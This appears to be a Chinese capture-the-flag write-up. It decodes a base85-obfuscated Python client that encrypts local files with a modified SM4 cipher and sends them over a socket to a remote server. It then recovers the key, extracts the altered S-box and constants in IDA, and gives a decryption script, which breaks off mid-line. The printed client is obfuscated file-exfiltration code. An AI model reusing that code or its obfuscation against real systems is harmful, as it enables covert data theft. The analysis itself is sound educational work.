_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'_obf_exec(base64.b85decode(_1667).decode())使用如下脚本打印 base85 解密结果:
import base64cipher=r'UurNQJs@mhZDM3$Iv^-BFd$waF)}tOAS)m!H8L<DB_J|3DGFa|F(5r4Y+-F;WMMiWC^0oSAYLFbI5a6BD<CL1GB6+|AT=~83SVk6AUz;#VQpe$VLBivGdCb!ATlW+D<CK~I5!|AATl*63SVk7AUz;#VQpe$VLBivH!>hzATcpADIhB#C^R=TASEC(FewUOYBV4{AZ%f6Vq{@DASf|6Gaz0dI5H_9D<CK`H8&t7AU8893SVk9AUz;#VQpe$VLBivF)=qFULZ0sGbtb|ASg34F(4%%H8d#-UurfWJs@mhZDM3$Iv^-AG%_GwAT%~9AS)m!I5ajOB_K01DGFa|Hy}MAY+-F;WMMiWC^9i1ULY|vI4K}2ASg64H6SG*H#aE?UurlYJs@mhZDM3$Iv^-9GdUn$ATcvEDIhB#C^RxRASEC&F)0dPYB?Z1AZ%f6Vq{@DASg04H6UIfHZmz7D<CK|F*6_~AUHKC3SVk5Fd#i3Y+-F;WMMiWC^9rMAYLFgH7Ot~ASgIFG9V=&GcYL%UurQiAUz;#VQpe$VLBivGBO}uAT>BCAS)m!H#9IHB_K69DGFa|F)|=MAZ%f6Vq{@DASf|2IUrsjGBh|TAS)m!H#adLB_KC6DGFa|F*6`NAZ%f6Vq{@DASg01IUrsjGBYqKAS)m!GBz?GB_K94DGFa|F*G1OAZ%f6Vq{@DASf|6AYLFiIVm73ASgC6G9V=&GdL*<UurQmAUz;#VQpe$VLBivGBP<JULZ0sH7Ot~ASg37IUpq<GBqg*UurQnAUz;#VQpe$VLBivF)=Y9ULZ3wDIhB#C^R!OASEC*FewUOYB4t;Js@mhZDM3$Iv^-CF(6(bF*GtMAS)m!H8C<EB_J{}DGCZ>Y+-YAAYV^nW-~W8HaZF*ARr)QWo95>UukY>bYEX6b7gF1DLM)uARr(hARr)fWo%|HUv?lpAU8EJ3LqdLAY^4`AYW}Lb7gF1DLM)uARr(hARr)eWps6NZXk1IY-TQBb|5MsH3|wNAun}vaxY?OZZBnSb|7$hbZBpGGYSf6ZE$aLbRctYV{2t}3TbU{Z*p`XYIARH3TbU{Z*p`XZ*vN1ZE$aLbRctia|&r~aBp&SAZTH8Xl!X>3TbU{Z*p`XbZKp63JP<1b1raUbZ9PVZgXXFbSN+^Aa8RnaA9<4E@WwPZeeX@C~tEvaA9<4E@WwPZeeX@C~tEvaA9<4E@5JGaA9<4C|_S@X>4U*UnwamDGF(AaBp&SAY*cQaCBc|Z*pY{3JPOvVRLgJLv?d>Z*4+hb7eL(Itm~lARt3kQ&dk)UqMVzNI^nHR3JSdUvFh7A~-xeLQHRKF;#L>eP2>OGB<ftZEbTgWNKAOCVMD1OmlldaBVwdKxIl%Sz19Ya#TolG;nWyVRtn(IZHxeRd+vYNN_|#R%d8(S0hVOaw04sI5R9DGBGqPATc*73LqdLAX8L9PDDXcL|;KnP)I>SMN}X?ASenTARr(hARr)LZ)GSVFlK6dWM)cFUqeqpKV>O5ZZuv^Z$2hIGgMw)S5z@VSyx4IM^tWFSSd3}Hb#7YLwa?2BSBeYa87U}N-au$VmnqvYd1kzbXIg&HDh{xA}k;{Gb|u7F*Gb7F*hj+ARr(hDGDGUARt9fLr+9SUsORtOhq6)AaitbE^T3JWpr|3ZgVJ8R6$NeK~h9tK}=9cK|)1TEFeQwQ&dk)UqMVzNI^nHR4ED|ARr(_MMF<SMPF1wLQF*<Js@**axQIQYh`qDVQzCMLse5$PfcGzOi)NcLPb<8AX8L9PDDXcL|;KnP)I>SMN}yY3LqdLAV6bmVRLhBWprq7WC|c4ARuIAW*}r`V{c?-C}V7MEFffIbYVImb98bkAT2&1VtI6Bb2<tjARr(hARr)VZE$aLbRc43b7eL(3JM?~ARr(hARu#eWM5)7G$1`7WMOn+E_8BXZgXs5bY&=GY;!I|MMF<SMPF1wLQF*|3LqdLARr(hAaZ4Nb#iVXVqtS-HZ(3`HZ){qV{c?-D06gVUt%^iDGCY-Q$<o%MN(f#Pg7JNJs=_?3R6W=Rz*@@P)|}+AUz;CIXO8BOGQ~<LN+uYJs@9iWhf#;H%&oxaAadObW%c1AvH2<b~IOQaDGT^Wne)xPBmb3KQ(SoVp%Ipel}2gHFso2DtSFcBzjSHA$VFMEFd^DEFdy5G%O%7Hz^8BMOh#{AVYO?bZ>1!VRL0RG%jRiV{c?-C`(0IUqUuCDGEkOOhr>)R8L=1MNUK@Js?|OZ)GSVNiA@FMs`yvaWG|VL?SF8I5R9DGBGqPATc*7EFfQRWhf#-C@n%tUpzuKPa-TJI5R9DGBGqPATc*7EFfQRWhf#;Bu#iybXqw%du44zA}k;{Gb|u7F*Gb7F*hk)3JMBjWo95>Z*XC8b!A_4a&=`WDLM)uARr)LcpyC>FbW_bARuOMav)!6AZczOa$#;~WhgN)Fey3;ARr(hARr(hUw9xZJs@9cASxgzUuhsMAYW-9D<Cl`3LqdLAaZ4Nb#iVXUw9xsJs>a&3JPRpW*}d0aA9$EWnX4tY;$EODLM)uARr)LVJskDVjw*rH7p=E3LqdLAaZ4Nb#iVXC|_Y9Dj;8CDIh&PAShpAASxhVVIV6YF)0cP3S?zwAYWu<VPs!pVQgb4DLM)uARr)LWMyGwAUz;33LqdLAZBlJAYW-9X>K5LVQyz-C^axCItm~lARr(hARu34Wnp9>Js>DwWMyGwAS)nWX(=EjATc)zARr(hARr(hX=Wf_WMyGwAU+^5Ffcj_ARr(hARr(hARr(hUu0!rWFS2tUu0!rWFRUaG9W7;F$y3cARuyObairWAYWu<VPpyl3S?zwAZ2c2a(QrcUuJ1+WhiT9c{(6sd30rSEFf@fVQFr3Wq5QtAYyrRWpgPYEj}P(d30rSItm~lARu3JbYXO5AUz;33LqdLAYXE2b9HQVAUz;XZ*FA@ARr(hcW7yBWguU3bYXO5AUq&5Itm~lARr(hARuXGAYXHIVRU66Jv|^WItm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYXE2b9HQVAUz;sa(QrcUt@1_WiDlIV{c?-Uu0o)VJL8HVQFr3Wq5QfAZulLTRJf|T`3A6ARr(hARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARu34WnpArV_|G#C@BgcARr(hARr(hARr)Lb97;JWgtBuG72CdARr(hARuLIX=Wf_b97;JWgtC0ATl}%ARr(hARr(hARr(hX=Wf_Z*XC8b!A^>VQh0{C@DG$ARr(hARr(hARr(hARr(hUvg!0b!>DXJs?hRZe<D}ARr(hARr(hARr)Lb97;JWgtBuGYTLeARuyObairWAYXE2b9HQV3JMBjWo96AWo~3&b7^j8Y-L|&X>4UEb8lm7EFflSY-Mg?ZDlMVaBN{|ZggdMbSXLtARr(hUvnTmATSCbARr)LV{{-rAWm;?WeOl5ARu3GY#==#PH%2y3LqdLAa`hKY-J!{b09n*H986)ARr(hARr)VW*}d4AU!=GFggk#ARr(hARr(hARr)LV{{-rAZ2c2a(QrcUuJ1+WhhHUSu7xMY+-3`bY*ySDGDGUARr(hARr(hARu3JAUz;43LqdLARr(hAZ2W6W*}d4AU!=GF**t$ARr(hARr(hARr)LaBLtwAbVeLWhf#-CO$Gsc64=MDIzQ&I5R9DGBGqPATc*7Iv{3gY-Mg?ZDlMVUvFh7B10oBW>#=*J7X<nZA2n0AUHEDATlvDEFdvADLNouV{|TPWq2qleF`8TARr(hARr(hARu3JAUz;53LqdLARr(hAZ2W6W*}d4AU!=GGCB$%ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu#ZV{0yRWo~3)Y-}iMb8l`gWOZ$Db0}YMY$+~fZewp`Whh^7Whf#`W>9u?J9{E5AUHEDATlvDEFdvADJdW;AYvk1ZXziPARr(hARr(hARr(hARr(hUvnTmAT$afARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYWu<VPs!pVQgb4DGDGUARr(hARr(hARr(hARu3JAUz;63LqdLARr(hAZ2W6W*}d4AU!=GGdc<&ARr(hARr(hARr)LWMyGwUt?ixV<;&KARr(hARr(hARr(hUvnTmAT$afARr(hARr)RY-wg7UvnTmJs>nX3LqdLARr(hARr(hAZcbGZf|rTUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAarSMWiE4UWo2+EFfK7E3LqdLARr(hARr(hAYXGJJs>p-3JPRpW*}d7WpZg|d0%5~WGG{8WGOldARr(hUvqR}bY&ntATclsARr(hUua=-XkT_=Y#==#PH%2y3LqdLAYXQ2Y-wa5Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tH845~ARr(hARr(hX=Wf_b97;JWgtC0ATcmH3LqdLARr(hARr(hAZcbGY-MgJV{K$9AU+^4Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT&7&ARr(hARr(hWo&6?AYXHIVRU66Jv|^YFggk#ARr(hARr(hARr)LXkl|`Uv^<^AUz;xVRL9~X<{yIWHl&bZDcNGZewp`Whf~rE@)+VWNBw*b95*v3LqdLARr(hARr(hAYXHIVRU66Js>kM3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGcY;|ARr(hARr(hARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr(hARr(hARr)Lc42I3WFS2tUua=-XkT_=Y#=>7AYX4~C?Zx@OEf)kM|E*oLU>C*b5>VuLU%k;S1?{eG;uj5Rzf>+WjruUGF2ihAUHEDATlvDEFdvADGDGUARr(hARr(hARr(hARu3JbYXO5AUz;7FbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUu0!rWM5-pY-1=X3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG%z{}ARr(hARr(hARr(hX=Wf_c42I3WI75UARr(hARr(hARr(hARr)Lb97;JWgtBuH82VwARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>nW3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GG&wp7ARr(hARr(hARr(ha%FUNa&90-VQh0{3JM?~ARuyObairWAYXQ2Y-wZ)3JPRpW*}c@WprP2WpZ|9a$jg~b95+Sa%XcXItm~lARu3JAUz;4Ffa-rARr)LXm4|LAUz;XZ*FA@3LqdLAa`hKY-J!{b09n*GB7YY3LqdLARr(hAZcbGUvnTmJs>eKFggk#ARr(hARr(hARr)VW*}^3ZYW`LXLBhaJ|HqW3LqdLARr(hARr(hARr(hAYXGJJs>eLFbW_bARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvnTmATcs93LqdLARr(hAZ2W6W*}d4AU!=GF)=VY3LqdLARr(hARr(hAYW*2b95j*AYpQ6b6YZ93LqdLARr(hARr(hAYXGJJs>hLFbW_bARr(hARuLIX=Wf_b09rEATcs9Itm~lARr(hARr(hARuXGAYX5AVR3b3UvzSHWhf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AR;0PARr(hARr(hARr(hUvnTmATls83LqdLARr(hAZ2W6W*}d4AU!=GGB7YY3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAYW*2b95j*AYX4~C?Z*Rb8US)SZF?GL`EVkAUHEDATlvDEFdvADGDGUARr(hARr(hARu3JAUz;5Ffj@WARr(ha%FUNa&91BXm4|L3JMBjWo964VQFqCDLM)uARr)Lb97;JWgtBuFbW_bARu3JZ)0m9Js?hRZe<D}ARr)LX=HdHJs>a&ARr(hUvP41Zggd2Uub1vWMy(7Js?J5Y;$D_3LqdLAa`hKY-J!{b97;JWgt8tF)%PX3LqdLARr(hAZcbGUvqR}bY&ntJs>bT3LqdLARr(hARr(hAZcbGUvF?>adl;1W?^h|Whf~+3LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVGD0$BZC^)BL2_6)A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hAYXHIVRU66Js>d(ARr(hARr(hWo&6?AYXHIVRU66Jv|^XItm~lARr(hARr(hARuXGAZ%rBD06vpE@5(Kb}1k{ATl}%ARr(hARr(hARr(hARr(hUvqR}bY&ntAT<ggARr(hARr(hARr)RY;$Eg3LqdLARr(hARr(hARr(hAYXHIVRU66Js>g)ARr(hARr(hWo&6?AYXHIVRU66Jv|^YItm~lARr(hARr(hARuXGAYXQ6a%pCHUt?`#D06vpE@5(Kc3UxBDLM)uARr(hARr(hARr(hARr)Lb97;JWgtBuGYTLeARr(hARr(hARuLIb7eXTARr(hARr(hARr(hARr(hUvqR}bY&ntAT$afARr(hARr)RY-wg7UvqR}bY&ntJs>kW3LqdLARr(hARr(hAZcbGZf|rTUvP41Zggd2Uub1vWMy(X3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAaHVNZgePLZ)GSVI7>HdIeKVda#LAjQCd$odp2!Td22gnI7TF6K{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'data=base64.b85decode(cipher).decode()print(data)得到如下逻辑:
_j0 = lambda:(30 ^ 126) + (520 % 26)_j1 = lambda:(158 ^ 184) + (820 % 54)_j2 = lambda:(37 ^ 2) + (687 % 25)_j3 = lambda:(72 ^ 112) + (474 % 30)_j4 = lambda:(173 ^ 82) + (257 % 73)_j5 = lambda:(117 ^ 203) + (331 % 54)_j6 = lambda:(242 ^ 46) + (846 % 33)_j7 = lambda:(21 ^ 148) + (425 % 77)_j8 = lambda:(139 ^ 134) + (427 % 21)_j9 = lambda:(245 ^ 62) + (413 % 85)_j10 = lambda:(242 ^ 65) + (892 % 30)_j11 = lambda:(22 ^ 58) + (740 % 59)_j12 = lambda:(139 ^ 248) + (771 % 74)_j13 = lambda:(219 ^ 230) + (262 % 63)_j14 = lambda:(17 ^ 89) + (622 % 38)_j15 = lambda:(229 ^ 205) + (369 % 25)_j16 = lambda:(111 ^ 33) + (433 % 50)_j17 = lambda:(41 ^ 142) + (512 % 21)class _Obf3776:def __init__(self):self._v = 751def _m(self):return self._v * 5#!/usr/bin/env python3import socketimport jsonimport osimport sysimport hashlibimport timesys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))import crypt_coreclass CustomBase64:CUSTOM_ALPHABET = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)STANDARD_ALPHABET = (_oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17))ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)@classmethoddef decode(cls, data:str) -> bytes:import base64std_b64 = data.translate(cls.DECODE_TABLE)return base64.b64decode(std_b64)SERVER_HOST = ""SERVER_PORT = 9999KEY_B64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)KEY = CustomBase64.decode(KEY_B64)FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]def _opaque_true():_x = 0for _i in range(100):_x += _i * (_i -_i + 1)return _x >= 0def _opaque_false():_a, _b = 5, 7return (_a * _b) == (_b * _a + 1)def _dead_calc():_dead = 0for _i in range(50):_dead = (_dead + _i) % 17if _dead > 100:_dead = _dead * 2 + 1return _deaddef encrypt_file(key: bytes, plaintext:bytes) -> bytes:_state = 0_result = Nonewhile _state < 3:if _state == 0:if _opaque_true():_result = crypt_core.encode_data(plaintext, key[:16])_state = 2else:_dead_calc()_state = 1elif _state == 1:_dead_calc()_state = 2elif _state == 2:if _opaque_false():_result = None_state = 3return _resultdef send_single_file(sock, filename, plaintext):_s = 0_ct = None_pl = Nonewhile _s < 5:if _s == 0:_ct = encrypt_file(KEY, plaintext)_s = 1elif _s == 1:_pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}_s = 2elif _s == 2:if _opaque_true():sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")_s = 4else:_dead_calc()_s = 3elif _s == 3:_dead_calc()_s = 4elif _s == 4:if not _opaque_false():time.sleep(0.1)_s = 5def _verify_cmd(cmd):_state = 10_hash_val = None_valid = Falsewhile _state < 50:if _state == 10:if len(cmd) > 0:_state = 20else:_state = 49elif _state == 20:_hash_val = hashlib.md5(cmd.encode()).hexdigest()_state = 30elif _state == 30:if _opaque_true():_valid = _hash_val == _oe("VWK4=qGuqYBxK?sVWlBw<RW0^B4q9&VB;re<0L2U", 83, 214, 17)_state = 40else:_dead_calc()_state = 49elif _state == 40:if _valid:_state = 50else:_state = 49elif _state == 49:return Falsereturn _validdef _get_server_host(args):_s = 100_host = Nonewhile _s < 200:if _s == 100:if len(args) > 2:_s = 110else:_s = 120elif _s == 110:_host = args[2]_s = 200elif _s == 120:if _opaque_true():_host = ""_s = 200elif _s == 200:if _opaque_false():_host = _oe("Ywsm};Xh>fDF", 83, 214, 17)_s = 201return _hostdef main():_state = 0_sock = None_idx = 0_printed_header = Falsewhile _state < 100:if _state == 0:if _opaque_false():print(_oe("2B2dm_GLArX8", 83, 214, 17))_state = 1elif _state == 1:if len(sys.argv) < 2:_state = 5else:_state = 2elif _state == 2:if _verify_cmd(sys.argv[1]):_state = 3else:_state = 4elif _state == 3:if not _printed_header:print("=" * 50)print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17))print("=" * 50)_printed_header = True_state = 10elif _state == 4:print("错误:无效的命令")_state = 99elif _state == 5:print("用法:python client.py <command> [SERVER_HOST]") _state = 99 elif _state == 10: try: _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) _state = 11 except Exception: _state = 99 elif _state == 11: _host = _get_server_host(sys.argv) _state = 12 elif _state == 12: try: _sock.connect((_host, SERVER_PORT)) _state = 20 except Exception as e: print(f"[!]连接失败:{e}") _state = 99 elif _state == 20: if _idx < len(FILES_TO_SEND): _state = 21 else: _state = 30 elif _state == 21: _fname = FILES_TO_SEND[_idx] _state = 22 elif _state == 22: if os.path.exists(_fname): _state = 23 else: _state = 28 elif _state == 23: with open(_fname, "rb") as _f:_data = _f.read()_state = 24elif _state == 24:if _opaque_true():print(f"[*] 发送文件")_state = 25elif _state == 25:if not _opaque_false():send_single_file(_sock, _fname, _data)_state = 26elif _state == 26:_idx += 1_state = 20elif _state == 28:print(f"[-] 文件不存在")_state = 29elif _state == 29:_idx += 1_state = 20elif _state == 30:if _opaque_true():time.sleep(0.2)_state = 31elif _state == 31:if _sock:_sock.close()_state = 99elif _state == 99:breakif __name__ == _oe("42g9itaJ>C", 83, 214, 17):_dead_calc()if _opaque_true():main()else:_dead_calc()我们先写脚本获取 key:passvkcDKWLAA45o
import base64def _oe(d, k1, k2, rn): raw = base64.b85decode(d.encode()) s = bytes(b ^ (k1, k2, rn)[i % 3] for i, b in enumerate(raw)).decode() out = [] for c in s: if c.isalpha(): base = ord("A") if c.isupper() else ord("a") out.append(chr((ord(c) - base - rn) % 26 + base)) elif c.isdigit(): out.append(str((int(c) - rn) % 10)) else: out.append(c) return "".join(out)custom = _oe("8<<BLok1UrR}_R>27yTmms1djUI&{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr", 83, 214, 17)standard = _oe("0fj{dfJO_COA?e)7n4^Mo>&>3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}", 83, 214, 17)key_b64 = _oe("C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ", 83, 214, 17)key = base64.b64decode(key_b64.translate(str.maketrans(custom, standard)))print(key.decode())print(key[:16].decode())分析代码后可以得知,加密逻辑在 crypt_core.so 里面,用 ida 打开 crypt_core.so
搜索 encode_data 字符串,我们可以找到 sub_9820(python 函数包装器):

进一步分析 sub_60B0,从这段代码中可以明显猜出是 SM4 的逻辑(图二为本地存的 SM4 脚本)


通过这段代码去找 S 盒,FK 和 CK 看看有没有更改参数:

经分析,0xAC10 为 S 盒起始,0xAD10 为 FK,0xAD20 为 CK


在流量包中寻找到 flag.txt 的密文

exp 如下:
from binascii import unhexlifySBOX = bytes.fromhex("ECCA0EF308F02AA23B182B5C37BD12A8""05D3A1574F96FCF5A7141966589BBFB4""39D51E1A30BC6C80B7ED4106D91767CD""1D2CAE240313C65383110AF7C04DC49E""8D001FC33F359FCB729D166FACCE3C5E""A6E17B343632B895918952C1E7A33348""04CF10EB25BB8E0F816EB343458F49F8""4B59074ADEFDC8D0848BFBDADB28D43E""A42F56BEEF86C762EA76E9D674A56BF9""987D3A265AAF870D1B2EB2E36ACCF1FF""D7F61CC9E870204E233DC2AADC0BF25F""7AFA889747D10C02317FF4751593388A""429071DD73557EB55B294C9AE08CB0E5""642701DFAD2179949251697C22635085""2DE2404644A982B661D8D2B968ABB15D""655477A0C5BA609CE4FEEE99E6786D09")FK = [0x3B1F86A4,0x83F7332D,0x58ADBA8E,0x71DC3F73,]CK = [0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7,0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA,0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6,0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907,0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A,0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,]def rol32(x: int, n: int) -> int:return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))def tau(x: int) -> int:return ( (SBOX[(x >> 24) & 0xFF] << 24) | (SBOX[(x >> 16) & 0xFF] << 16) | (SBOX[(x >> 8) & 0xFF] << 8) | SBOX[x & 0xFF] )def T(x: int) -> int: b = tau(x & 0xFFFFFFFF)return (b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)) & 0xFFFFFFFFdef Tp(x: int) -> int: b = tau(x & 0xFFFFFFFF)return (b ^ rol32(b, 13) ^ rol32(b, 23)) & 0xFFFFFFFFdef expand_key(key16: bytes): mk = [int.from_bytes(key16[i:i + 4], "big") for i in range(0, 16, 4)] K = [(mk[i] ^ FK[i]) & 0xFFFFFFFF for i in range(4)] rk = []for i in range(24): v = (K[i] ^ Tp(K[i + 1] ^ K[i + 2] ^ K[i + 3] ^ CK[i])) & 0xFFFFFFFF K.append(v) rk.append(v)return rkdef decrypt_block(block: bytes, rk): vals = [int.from_bytes(block[i:i + 4], "big") for i in range(0, 16, 4)] finals = [0, 0, 0, 0] order = (3, 2, 1, 0)for pos, idx in enumerate(order): finals[idx] = vals[pos] X = [0] * 28 X[24:28] = finalsfor i in range(23, -1, -1): X[i] = (X[i + 4] ^ T(X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ rk[i])) & 0xFFFFFFFFreturn b"".join(x.to_bytes(4, "big") for x in X[0:4])def pkcs7_unpad(data: bytes) -> bytes: pad = data[-1]if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad: raise ValueError("bad padding")return data[:-pad]def decrypt(ciphertext: bytes, key16: bytes) -> bytes:if len(key16) != 16: raise ValueError("key must be 16 bytes")if len(ciphertext) % 16 != 0: raise ValueError("ciphertext length must be multiple of 16") rk = expand_key(key16) out = b"".join(decrypt_block(ciphertext[i:i + 16], rk) for i in range(0, len(ciphertext), 16))return pkcs7_unpad(out)if __name__ == "__main__": key = b"passvkcDKWLAA45o" ct_hex = 